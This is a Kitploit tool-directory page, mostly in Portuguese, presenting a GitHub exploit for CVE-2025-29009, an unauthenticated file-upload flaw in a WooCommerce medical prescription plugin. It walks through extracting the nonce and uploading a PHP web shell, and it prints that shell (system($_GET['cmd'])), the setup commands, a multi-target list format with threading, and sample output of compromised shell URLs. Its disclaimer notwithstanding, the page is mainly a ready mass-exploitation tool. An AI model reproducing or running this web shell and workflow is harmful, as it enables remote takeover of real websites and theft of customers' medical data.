Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29009 — WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 é vulnerável a um Arbitrary File Upload de alta prioridade. | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2025-29009
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubnxploited/cve-2025-29009

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 é vulnerável a um Arbitrary File Upload de alta prioridade.

Ver Repositório
11há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-29009

O plugin WordPress Medical Prescription Attachment para WooCommerce <= 1.2.3 é vulnerável a um Upload Arbitrário de Arquivo de alta prioridade

CVE-2025-29009

Webkul Medical Prescription Attachment — Upload Irrestrito de Arquivo → Web Shell

root@kitploit:~
,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'     ,-.   ,-.   ,-.   ,-.   ,-.
/    |  /  |           ) /  /\    ) |           ) (   ) /  /\ /  /\ (   )
|    | /   |-   ---   /  | / |   /  `-.  ---   /   `-'| | / | | / |  `-'|
\    |/    |         /   \/  /  /      )      /       / \/  / \/  /     /
 `-' '     `--'     '--'  `-'  '--' `-'      '--'  `-'   `-'   `-'   `-'

CVE Plugin Auth Python Author


❶ Vulnerabilidade

Causa Raiz:
O manipulador AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) aceita uploads de arquivos via wkwc_pa_prescription_attachment[] sem validar a extensão do arquivo ou o tipo MIME no servidor. Um atacante não autenticado pode extrair o ajaxNonce da vitrine pública do WooCommerce (embutido no objeto JavaScript wkwcpaFrontObj) e, em seguida, enviar um web shell PHP diretamente para o diretório de uploads do servidor. A resposta retorna a URL completa e acessível do arquivo enviado.


❷ Fluxo do Ataque

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  1. Resolve front page                                       │
│     GET /  →  GET /shop/  →  GET /product/  →  GET /?wkwcpa=1│
│                                                              │
│  2. Extract nonce                                            │
│     Parse wkwcpaFrontObj.ajax.ajaxUrl                        │
│     Parse wkwcpaFrontObj.ajax.ajaxNonce                      │
│                                                              │
│  3. Upload shell                                             │
│     POST <ajaxUrl>                                           │
│       action = wkwcpa_handle_prescription_session            │
│       nonce  = <ajaxNonce>                                   │
│       type   = upload                                        │
│       wkwc_pa_prescription_attachment[] = shell.php          │
│                                                              │
│  4. Parse response                                           │
│     JSON → data.attachments_img_html[].src  →  shell URL    │
│                                                              │
│  5. Verify shell                                             │
│     GET <shell_url>  →  check for unique signature           │
│                                                              │
│  6. Save to shells.txt                                       │
└──────────────────────────────────────────────────────────────┘

❸ Configuração

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

❹ Preparação do Shell

Crie seu shell PHP e incorpore uma string de assinatura exclusiva para que a ferramenta possa verificar a execução bem-sucedida:

root@kitploit:~
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>

Salve como shell.php no mesmo diretório do script.
A string NxploitedShellOK é a assinatura — ela deve aparecer na resposta do shell para que a verificação seja aprovada.


❺ Uso

root@kitploit:~
python3 CVE-2025-29009.py

Prompts

root@kitploit:~
Targets file (default list.txt):              list.txt
Threads (default 10):                         10
Local shell filename (e.g. shell.php):        shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK

Formato dos Alvos — list.txt

root@kitploit:~
https://target1.com
target2.com
http://target3.com

Alvos sem http:// ou https:// recebem automaticamente o prefixo http://.


❻ Saída

ArquivoConteúdo
shells.txtUma URL de shell verificada por linha

Terminal:

root@kitploit:~
[SHELL]  https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL]   https://target2.com  (nonce_not_found)
[FAIL]   https://target3.com  (success_false)
[Status] 3/3  OK:1  FAIL:2

❼ Códigos de Falha


❽ Autor

root@kitploit:~
Nxploited
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


❾ Aviso Legal

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.

© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Corrigido na 1.2.4

Baixar ferramenta
CampoDetalhe
CVECVE-2025-29009
PluginWebkul Medical Prescription Attachment Plugin for WooCommerce
AtingidasTodas as versões ≤ 1.2.3
AutenticaçãoNenhuma necessária
TipoUpload Irrestrito de Arquivo com Tipo Perigoso → Upload de Web Shell
CWECWE-434 · Upload Irrestrito de Arquivo com Tipo Perigoso
CódigoSignificado
shell_file_missingshell.php não encontrado no diretório de trabalho
no_front_pageNenhuma página candidata retornou HTTP 200
nonce_not_foundwkwcpaFrontObj não presente em nenhuma página
upload_errorErro de rede durante o POST
json_parse_errorA resposta não é um JSON válido
success_falseO servidor retornou data.success = false
no_attachmentsUpload bem-sucedido, mas sem URL na resposta
shell_url_not_foundNão foi possível extrair a URL do arquivo do HTML da resposta